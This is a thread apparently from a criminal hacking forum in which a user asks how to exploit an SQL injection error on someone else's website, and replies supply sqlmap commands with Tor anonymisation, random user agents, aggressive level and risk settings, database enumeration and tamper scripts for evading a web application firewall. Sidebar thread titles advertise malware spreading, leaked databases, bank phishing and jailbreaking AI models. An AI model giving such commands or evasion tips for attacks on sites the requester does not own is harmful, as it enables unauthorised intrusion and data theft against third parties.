Help sql injection and sqlmap this case?
by liampv - Thursday August 15, 2024 at 01:41 PM
#1
Hi everybody
I'm trying to learn about sql injection and sqlmap.
I tried a website, and saw an error like this? How should I exploit it?
victim.com/search/12'
Error massage:
Query: SELECT * FROM php_order WHERE id='12''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''12''' at line 1
I tried like this:
sqlmap -u "victim.com/search/12*" --dbs --dbms=mysql
but no result.
Please help me this case
Reply
#2
Can you show the output from such command, try adding verbose with it.
Ban reason: Legend (Permanent)
Reply
#3
Try this
sqlmap -u "victim.com/search/12'" --level=5 --risk=3 -o --dbs --answer="crack=n" --tor --check-tor --tor-type=socks5 --tor-port=9150 --no-cast --random-agent

And try adding --threads=5 and verbose like Intel mention
Ban reason: Sale of public leaks + attempted scam and manipulation. Shame. | https://breachforums.sb/Forum-Ban-Appeals if you feel this is incorrect. (Permanent)
Reply
#4
(08-15-2024, 01:41 PM)liampv Wrote:
Hi everybody
I'm trying to learn about sql injection and sqlmap.
I tried a website, and saw an error like this? How should I exploit it?
victim.com/search/12'
Error massage:
Query: SELECT * FROM php_order WHERE id='12''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''12''' at line 1
I tried like this:
sqlmap -u "victim.com/search/12*" --dbs --dbms=mysql
but no result.
Please help me this case

If the error you receive is caused by WAF or you encounter this error after finding the solution, add the following parameter: 

 --tamper="between,randomcase,space2comment"

Good luck / By @rr00ttsec  Cool
Reply
#5
This isn't that easy, every sql server have his own tricks and arguments to use. (except low hanging fruit) Without some details i can't help.

the only thing i can say if you found some entry point use --banner to confirm it isn't a false positive
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  --> Military Training And Research Center Of The Air Force <-- batman5464 82 4,075 03-28-2026, 12:37 AM
Last Post: lxstcxntury
  Make money and spread malware with cheats. SPARK 461 18,188 03-28-2026, 12:36 AM
Last Post: krugphilip
  Forums and Telegrams channels Databases leak sites j4c1nt0 3,047 161,874 03-28-2026, 12:27 AM
Last Post: wd1010
  [ ✅ ] Jailbreak AI : Mistral, DeepSeek, Z.AI and more 3rn3st 2 21 03-27-2026, 09:31 PM
Last Post: sirwev
  OPEN UK BANK ACCOUNTS AND PHISH BUSINESS EMAILS 1926 300 14,304 03-27-2026, 10:12 AM
Last Post: jetlee13015



 Users browsing this thread: 1 Guest(s)